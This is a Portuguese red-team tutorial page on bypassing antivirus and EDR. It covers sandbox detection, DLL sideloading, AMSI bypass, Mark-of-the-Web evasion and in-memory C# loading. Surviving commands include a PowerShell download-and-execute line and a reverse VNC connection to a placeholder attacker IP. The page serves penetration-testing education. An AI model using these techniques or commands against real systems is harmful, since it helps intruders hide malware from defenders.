Antivirus (AV) Bypass
Esta página foi escrita por @m2rc_p!
Metodologia de Evasão de AV
Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não, detecção estática, análise dinâmica e, para os EDRs mais avançados, análise comportamental.
Detecção estática
A detecção estática é alcançada marcando strings ou arrays de bytes maliciosos conhecidos em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja pego mais facilmente, pois provavelmente foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
Criptografia
Se você criptografar o binário, não haverá maneira do AV detectar seu programa, mas você precisará de algum tipo de carregador para descriptografar e executar o programa na memória.
Ofuscação
Às vezes, tudo que você precisa fazer é alterar algumas strings em seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada, dependendo do que você está tentando ofuscar.
Ferramentas personalizadas
Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
Uma boa maneira de verificar contra a detecção estática do Windows Defender é ThreatCheck. Basicamente, ele divide o arquivo em vários segmentos e depois solicita ao Defender para escanear cada um individualmente, dessa forma, ele pode dizer exatamente quais são as strings ou bytes marcados em seu binário.
Recomendo muito que você confira esta playlist do YouTube sobre Evasão de AV prática.
Análise dinâmica
A análise dinâmica ocorre quando o AV executa seu binário em uma sandbox e observa atividades maliciosas (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidespejo no LSASS, etc.). Esta parte pode ser um pouco mais complicada de lidar, mas aqui estão algumas coisas que você pode fazer para evadir as sandboxes.
Atraso antes da execução Dependendo de como é implementado, pode ser uma ótima maneira de burlar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar atrasos longos pode perturbar a análise de binários. O problema é que muitas sandboxes de AV podem simplesmente ignorar o atraso, dependendo de como é implementado.
Verificação dos recursos da máquina Geralmente, as Sandboxes têm recursos muito limitados para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam retardar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado na sandbox.
Verificações específicas da máquina Se você deseja segmentar um usuário cuja estação de trabalho está associada ao domínio "contoso.local", você pode verificar o domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador em seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do defender, então você pode fazer seu programa sair.
Algumas outras dicas realmente boas de @mgeeky para combater as Sandboxes
Como mencionamos anteriormente neste post, ferramentas públicas eventualmente serão detectadas, então, você deve se perguntar algo:
Por exemplo, se você deseja despejar o LSASS, você realmente precisa usar o mimikatz? Ou você poderia usar um projeto diferente que seja menos conhecido e também despeje o LSASS.
A resposta correta provavelmente é a última opção. Tomando o mimikatz como exemplo, ele é provavelmente um dos, se não o mais marcado malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então procure alternativas para o que você está tentando alcançar.
Ao modificar seus payloads para evasão, certifique-se de desativar o envio automático de amostras no defender, e por favor, seriamente, NÃO FAÇA UPLOAD NO VIRUSTOTAL se seu objetivo é alcançar a evasão a longo prazo. Se você deseja verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar o envio automático de amostras e teste lá até ficar satisfeito com o resultado.
EXEs vs DLLs
Sempre que possível, priorize o uso de DLLs para evasão, em minha experiência, os arquivos DLL são geralmente muito menos detectados e analisados, então é um truque muito simples de usar para evitar detecção em alguns casos (se seu payload tiver alguma maneira de ser executado como uma DLL, é claro).
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
Agora mostraremos alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.
Carregamento Lateral de DLL e Proxying
O Carregamento Lateral de DLL aproveita a ordem de busca de DLL usada pelo carregador posicionando tanto a aplicação vítima quanto as cargas maliciosas lado a lado.
Você pode verificar programas suscetíveis ao Carregamento Lateral de DLL usando Siofra e o seguinte script powershell:
Este comando irá exibir a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\" e os arquivos DLL que eles tentam carregar.
Eu altamente recomendo que você explore os programas suscetíveis a DLL Hijacking/Sideloadable por conta própria, essa técnica é bastante furtiva se feita corretamente, mas se você usar programas de DLL Sideloadable conhecidos publicamente, você pode ser facilmente descoberto.
Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não irá carregar sua carga útil, pois o programa espera algumas funções específicas dentro dessa DLL, para corrigir esse problema, vamos usar outra técnica chamada DLL Proxying/Forwarding.
DLL Proxying encaminha as chamadas que um programa faz do DLL proxy (e malicioso) para o DLL original, preservando assim a funcionalidade do programa e sendo capaz de lidar com a execução da sua carga útil.
Eu estarei usando o projeto SharpDLLProxy de @flangvik
Estes são os passos que segui:
O último comando nos dará 2 arquivos: um modelo de código-fonte DLL e a DLL original renomeada.
Estes são os resultados:
Tanto nosso shellcode (codificado com SGN) quanto a DLL proxy têm uma taxa de detecção de 0/26 no antiscan.me! Eu chamaria isso de um sucesso.
Eu recomendo fortemente que você assista ao VOD do twitch do S3cur3Th1sSh1t sobre DLL Sideloading e também vídeo do ippsec para aprender mais sobre o que discutimos de forma mais aprofundada.
Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, chamadas de sistema diretas e métodos de execução alternativos
Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.
A evasão é apenas um jogo de gato e rato, o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta, se possível, tente encadear várias técnicas de evasão.
AMSI (Interface de Verificação Anti-Malware)
AMSI foi criado para prevenir "malware sem arquivo". Inicialmente, os AVs eram capazes de escanear apenas arquivos em disco, então se você conseguisse executar payloads diretamente na memória, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
O recurso AMSI está integrado a esses componentes do Windows.
Controle de Conta de Usuário, ou UAC (elevação de instalação de EXE, COM, MSI ou ActiveX)
PowerShell (scripts, uso interativo e avaliação de código dinâmico)
Windows Script Host (wscript.exe e cscript.exe)
JavaScript e VBScript
Macros do Office VBA
Ele permite que soluções antivírus inspecionem o comportamento de scripts expondo o conteúdo do script de forma não criptografada e não ofuscada.
Executar IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
produzirá o seguinte alerta no Windows Defender.
Observe como ele antepõe amsi:
e depois o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe
Não deixamos nenhum arquivo no disco, mas ainda fomos pegos na memória por causa do AMSI.
Existem algumas maneiras de contornar o AMSI:
Ofuscação
Como o AMSI funciona principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar a detecção.
No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo se tiver várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna não tão direto de evitar. Embora, às vezes, tudo que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
Bypass AMSI
Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo sendo executado como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram várias maneiras de evitar a verificação do AMSI.
Forçando um Erro
Forçar a inicialização do AMSI a falhar (amsiInitFailed) fará com que nenhuma verificação seja iniciada para o processo atual. Originalmente isso foi divulgado por Matt Graeber e a Microsoft desenvolveu uma assinatura para evitar o uso mais amplo.
Tudo o que foi necessário foi uma linha de código do powershell para tornar o AMSI inutilizável para o processo atual do powershell. Esta linha, é claro, foi sinalizada pelo próprio AMSI, então algumas modificações são necessárias para usar essa técnica.
Aqui está um bypass modificado do AMSI que peguei deste Github Gist.
Patching de Memória
Esta técnica foi descoberta inicialmente por @RastaMouse e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-la com instruções para retornar o código para E_INVALIDARG, desta forma, o resultado da verificação real retornará 0, o que é interpretado como um resultado limpo.
Por favor, leia https://rastamouse.me/memory-patching-amsi-bypass/ para uma explicação mais detalhada.
Também existem muitas outras técnicas usadas para contornar o AMSI com o PowerShell, confira esta página e este repositório para aprender mais sobre elas.
Ou este script que, via patch de memória, irá patchear cada novo Powersh
Ofuscação
Existem várias ferramentas que podem ser usadas para ofuscar código C# em texto claro, gerar modelos de metaprogramação para compilar binários ou ofuscar binários compilados como:
InvisibilityCloak: Ofuscador C#
Obfuscator-LLVM: O objetivo deste projeto é fornecer um fork de código aberto do LLVM capaz de fornecer maior segurança de software por meio de ofuscação de código e proteção contra adulteração.
ADVobfuscator: ADVobfuscator demonstra como usar a linguagem
C++11/14
para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.obfy: Adicione uma camada de operações ofuscadas geradas pelo framework de metaprogramação de modelos C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
Alcatraz: Alcatraz é um ofuscador binário x64 capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
metame: Metame é um mecanismo simples de código metamórfico para executáveis arbitrários.
ropfuscator: ROPfuscator é um framework de ofuscação de código de granularidade fina para idiomas suportados pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem, transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
Nimcrypt: Nimcrypt é um Criptografador .NET PE escrito em Nim
inceptor: Inceptor é capaz de converter EXE/DLL existentes em shellcode e então carregá-los
SmartScreen & MoTW
Você pode ter visto esta tela ao baixar alguns executáveis da internet e executá-los.
O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a proteger o usuário final contra a execução de aplicativos potencialmente maliciosos.
O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomuns acionarão o SmartScreen, alertando assim e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar mesmo assim).
MoTW (Mark of The Web) é um NTFS Alternate Data Stream com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.
É importante observar que executáveis assinados com um certificado de assinatura confiável não acionarão o SmartScreen.
Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é embalá-los dentro de algum tipo de contêiner como um ISO. Isso acontece porque o Mark-of-the-Web (MOTW) não pode ser aplicado a volumes não NTFS.
PackMyPayload é uma ferramenta que empacota payloads em contêineres de saída para evitar o Mark-of-the-Web.
Exemplo de uso:
Aqui está uma demonstração de como contornar o SmartScreen empacotando payloads dentro de arquivos ISO usando PackMyPayload
Reflexão de Assembléia C#
Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas pós-exploração sem ser pego pelo AV.
Como o payload será carregado diretamente na memória sem tocar no disco, só precisaremos nos preocupar em corrigir o AMSI para todo o processo.
A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assembléias C# diretamente na memória, mas existem maneiras diferentes de fazer isso:
Fork&Run
Envolve iniciar um novo processo sacrificial, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, encerrar o novo processo. Isso tem seus benefícios e suas desvantagens. O benefício do método fork and run é que a execução ocorre fora do nosso processo de implante Beacon. Isso significa que se algo der errado ou for detectado em nossa ação de pós-exploração, há uma maior chance de nosso implante sobreviver. A desvantagem é que você tem uma maior chance de ser detectado por Detecções Comportamentais.
Inline
Trata-se de injetar o código malicioso de pós-exploração em seu próprio processo. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser verificado pelo AV, mas a desvantagem é que se algo der errado com a execução do seu payload, há uma maior chance de perder seu beacon pois ele pode travar.
Se você quiser ler mais sobre o carregamento de Assembléias C#, confira este artigo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ e o BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
Você também pode carregar Assembléias C# do PowerShell, confira Invoke-SharpLoader e o vídeo do S3cur3th1sSh1t.
Usando Outras Linguagens de Programação
Conforme proposto em https://github.com/deeexcee-io/LOI-Bins, é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo Atacante.
Ao permitir o acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode executar código arbitrário nessas linguagens na memória da máquina comprometida.
O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP etc, temos mais flexibilidade para contornar assinaturas estáticas. Testar com scripts de shell reverso aleatórios e não ofuscados nessas linguagens tem sido bem-sucedido.
Evasão Avançada
A evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
Cada ambiente contra o qual você luta terá suas próprias forças e fraquezas.
Eu recomendo fortemente que você assista a esta palestra do @ATTL4S, para obter uma introdução a técnicas de Evasão Avançadas.
Esta também é outra ótima palestra do @mariuszbit sobre Evasão em Profundidade.
Técnicas Antigas
Verifique quais partes o Defender considera como maliciosas
Você pode usar ThreatCheck que irá remover partes do binário até descobrir qual parte o Defender está considerando como maliciosa e dividir isso com você. Outra ferramenta que faz a mesma coisa é avred com um serviço web aberto oferecendo o serviço em https://avred.r00ted.ch/
Faça com que inicie quando o sistema for iniciado e execute agora:
Alterar a porta do telnet (stealth) e desativar o firewall:
UltraVNC
Faça o download em: http://www.uvnc.com/downloads/ultravnc.html (você deseja os downloads binários, não o setup)
NO HOST: Execute winvnc.exe e configure o servidor:
Ative a opção Disable TrayIcon
Defina uma senha em VNC Password
Defina uma senha em View-Only Password
Em seguida, mova o binário winvnc.exe e o arquivo recém-criado UltraVNC.ini dentro do alvo
Conexão reversa
O atacante deve executar dentro de seu host o binário vncviewer.exe -listen 5900
para que esteja preparado para capturar uma conexão VNC reversa. Em seguida, dentro do alvo: Inicie o daemon winvnc winvnc.exe -run
e execute winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ATENÇÃO: Para manter o sigilo, você não deve fazer algumas coisas
Não inicie
winvnc
se já estiver em execução ou você acionará um popup. verifique se está em execução comtasklist | findstr winvnc
Não inicie
winvnc
sem oUltraVNC.ini
no mesmo diretório ou abrirá a janela de configuraçãoNão execute
winvnc -h
para obter ajuda ou você acionará um popup
GreatSCT
Faça o download em: https://github.com/GreatSCT/GreatSCT
Dentro do GreatSCT:
Agora inicie o ouvinte com msfconsole -r file.rc
e execute o payload xml com:
O defensor atual irá encerrar o processo muito rapidamente.
Compilando nosso próprio shell reverso
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Primeiro shell reverso em C#
Compile com:
Use com:
C# usando compilador
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Download e execução automáticos:
Lista de ofuscadores C#: https://github.com/NotPrab/.NET-Obfuscator
C++
Usando python para construir exemplos de injetores:
Outras ferramentas
Mais
Last updated